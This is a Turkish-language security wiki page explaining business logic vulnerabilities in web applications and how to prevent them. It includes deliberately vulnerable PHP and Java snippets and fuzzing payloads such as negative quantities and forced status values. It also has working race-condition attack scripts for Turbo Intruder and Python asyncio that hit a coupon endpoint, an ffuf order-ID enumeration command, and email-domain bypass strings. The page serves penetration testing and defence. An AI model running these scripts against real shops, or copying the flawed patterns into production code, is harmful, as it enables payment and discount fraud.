Business Logic Vulnerabilities
> Yazar: Yaren Daşpınar
İş mantığı zafiyetleri (Business Logic Vulnerabilities), bir uygulamanın meşru işlem akışlarının, organizasyon için olumsuz sonuçlar doğuracak şekilde manipüle edilmesidir. Teknik açıkların (SQLi, XSS vb.) aksine, bu hatalar güvenlik kontrollerinin (kimlik doğrulama, girdi doğrulama) kırılmasından ziyade, uygulamanın tasarım aşamasındaki hatalı varsayımlardan kaynaklanır. Red Team operasyonlarında bu zafiyetler "mantıksal tasarım hataları" olarak sınıflandırılır ve otomatik tarayıcılar (DAST) tarafından tespit edilemezler; çünkü zafiyeti anlamak için ilgili iş kolunun (E-ticaret, Bankacılık, Lojistik vb.) kurallarını bilmek gerekir.
How It Works (Teknik Analiz)
İş mantığı hataları, yazılımın beklenen kullanıcı davranışlarından sapması durumunda nasıl tepki vereceğinin önceden tanımlanmamasından doğar. Teknik düzeyde bu, bir uygulamanın durum makinesinin (State Machine) beklenmedik geçişlere izin vermesi veya kritik verilerin (fiyat, yetki düzeyi, miktar) istemci tarafından kontrol edilmesine güvenilmesidir.
Vulnerable Code Patterns
Aşağıdaki örneklerde, mantıksal hataların kod düzeyindeki yansımaları incelenmektedir:
// ZAFİYETLİ KOD (PHP): Güvenilmemesi gereken istemci verisi
$product_price = $_POST['price']; // Saldırgan fiyatı manipüle edebilir
$quantity = $_POST['quantity'];
$total_cost = $product_price * $quantity;
// Sunucu sadece bakiyeyi kontrol ediyor, fiyatın doğruluğunu veritabanından sorgulamıyor.
if ($user_balance >= $total_cost) {
process_payment($total_cost);
}
// ZAFİYETLİ KOD (JAVA): İş Akışı Atlatma (Workflow Bypass)
@PostMapping("/checkout/step3")
public String completeOrder(@RequestParam String orderId, HttpSession session) {
// HATA: Kullanıcının Step 1 (Sepet) ve Step 2 (Ödeme) aşamalarını
// başarıyla tamamladığına dair bir state kontrolü yapılmıyor.
Order order = orderService.getOrder(orderId);
order.setStatus("PAID");
return "order_confirmation";
}
Detection & Enumeration (Keşif ve Analiz)
İş mantığı hatalarını keşfetmek için sızma testi uzmanı, uygulamanın işleyiş kurallarını bir analist gibi öğrenmeli ve ardından "bu kuralı nasıl esnetebilirim?" sorusunu sormalıdır.
Manuel Test Metodolojileri
- Akış Analizi: Uygulamanın 1->2->3 adımlı sürecinde doğrudan 3. adıma gitmeyi deneyin.
- Girdi Sınırları: Negatif sayılar (
-1), aşırı büyük sayılar (2^31 - 1) veya alışılmadık veri tipleri göndererek uygulamanın tepkisini ölçün. - Parametre Manipülasyonu:
is_admin=false,discount=10,price=100gibi parametrelerin istek (Request) içinde yer alıp almadığını kontrol edin.
Fuzzing Payloadları
- Miktar Manipülasyonu:
quantity=-1,quantity=0.01,quantity=99999999 - Para Birimi/Bakiye:
amount=-1000(Bazı sistemlerde transferi ters yöne çevirebilir). - Durum Değişimi:
status=approved,verified=yes
Attack Vectors & Exploitation (İstismar Vektörleri)
Excessive Trust in Client-Side Controls
Uygulamanın, tarayıcıda yapılan doğrulamaların (JavaScript veya gizli form alanları) sunucu tarafında da yapılacağını varsaymasıdır. Saldırgan Burp Suite kullanarak bu değerleri sunucuya ulaşmadan değiştirir.
Failing to Handle Unconventional Input
Geliştiricilerin sadece "normal" girdileri beklemesi sonucu oluşur. Negatif ürün adedi girilerek toplam fiyatın düşürülmesi veya sepetin eksiye indirilmesi bu kategoridedir.
Multi-Step Process Circumvention
Birçok uygulama, işlemi tamamlamak için kullanıcıyı belirli bir sırayla (Örn: Sepet -> Adres -> Ödeme -> Onay) yönlendirir. Saldırgan, ödeme adımını atlayıp doğrudan onay endpoint'ine istek atarak süreci altüst eder.
Race Conditions (Yarış Durumları)
Uygulamanın aynı anda gelen birden fazla isteği senkronize edememesi durumudur.
- Limit Overrun: Bir indirim kodunun, sunucu kodu bakiyeyi düşürmeden önce milisaniyeler içinde 10 kez kullanılması.
- Time-of-Check to Time-of-Use (TOCTOU): Kontrol anı ile kullanım anı arasındaki boşluğun kullanılması.
Payloads & Advanced Commands
HTTP/2 Single-Packet Attack (Turbo Intruder)
Race condition saldırılarında ağ gecikmesini (jitter) minimize etmek için tüm istekleri tek bir TCP paketinde toplama tekniğidir.
# Turbo Intruder Race Condition Script
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2 # HTTP/2 desteği için
)
# 50 isteği bir kapı (gate) arkasında kuyruğa al
for i in range(50):
engine.queue(target.req, gate='race_gate')
# Kapıyı aç ve tüm paketleri aynı anda gönder
engine.openGate('race_gate')
def handleResponse(req, interesting):
table.add(req)
Python Asyncio Race Attack
Python ile asenkron istekler göndererek limit aşımı denemesi:
import asyncio
import httpx
async def attack(client, url):
# İndirim kodu kullanma isteği
return await client.post(url, data={"coupon": "SAVE50"})
async def main():
async with httpx.AsyncClient() as client:
tasks = [attack(client, "https://target.com/apply-coupon") for _ in range(30)]
responses = await asyncio.gather(*tasks)
for r in responses:
print(r.status_code, r.text)
asyncio.run(main())
Automated Enumeration (ffuf)
Tahmin edilebilir ID'ler üzerinden iş akışını kırma:
ffuf -u https://target.com/order/FUZZ/confirmation -w order_ids.txt -mc 200
Bypass & Obfuscation (Atlatma Teknikleri)
Integer Overflow/Underflow
Veri tipi sınırlarını zorlayarak mantık hatası yaratma:
2147483647(32-bit Integer Max) değerine+1ekleyerek negatif bir değere dönüşmesini sağlama.
HTTP/1.1 Last-Byte Synchronization
HTTP/2 desteklemeyen sunucularda, isteklerin ilk kısımlarını gönderip son byte'ı bekletme ve tüm isteklerin son byte'ını aynı anda göndererek senkronizasyon sağlama.
Encoding Discrepancies
E-posta parser'larının farklı yorumlaması:
victim@target.com.attacker.comveya null byte enjeksiyonu (victim@target.com%00@attacker.com) kullanarak domain tabanlı yetkilendirmeleri aşma.
Remediation & Prevention (Önleme ve Savunma)
- Strict State Machine: İş süreçleri sunucu tarafında katı bir durum makinesi ile takip edilmelidir. (Örn: Step 3'e gelmek için Step 2'nin "tamamlandı" flag'i veritabanında kontrol edilmelidir).
- Server-Side Validation: Fiyat, miktar ve yetki gibi kritik bilgiler asla istemciden alınmamalı, her zaman sunucu tarafındaki güvenilir kaynaktan (Database) çekilmelidir.
- Atomic Transactions: Veritabanı işlemleri (para transferi, stok düşümü) "Atomic" olmalıdır. Race condition'ları önlemek için
SELECT FOR UPDATEveya iyimser/kötümser kilitleme (Locking) mekanizmaları kullanılmalıdır. - Rate Limiting & Anti-Automation: Özellikle kupon kullanımı ve bakiye yükleme gibi noktalarda hız sınırlaması uygulanmalıdır.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Burp Turbo Intruder | Yüksek hızlı race condition testleri | Engine.BURP2 + openGate |
| H2SpaceX | HTTP/2 ve HTTP/3 single-packet sync | python3 h2spacex_exploit.py |
| Burp Repeater | Manuel grup içi paralel istek gönderimi | Send group in parallel (last-byte sync) |
| ffuf | Parametre ve workflow fuzzing | ffuf -u URL -d "qty=FUZZ" |
| AuthMatrix | İş mantığı rollerini karşılaştırma | Check cross-user logic access |
Yazar: Yaren Daşpınar · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv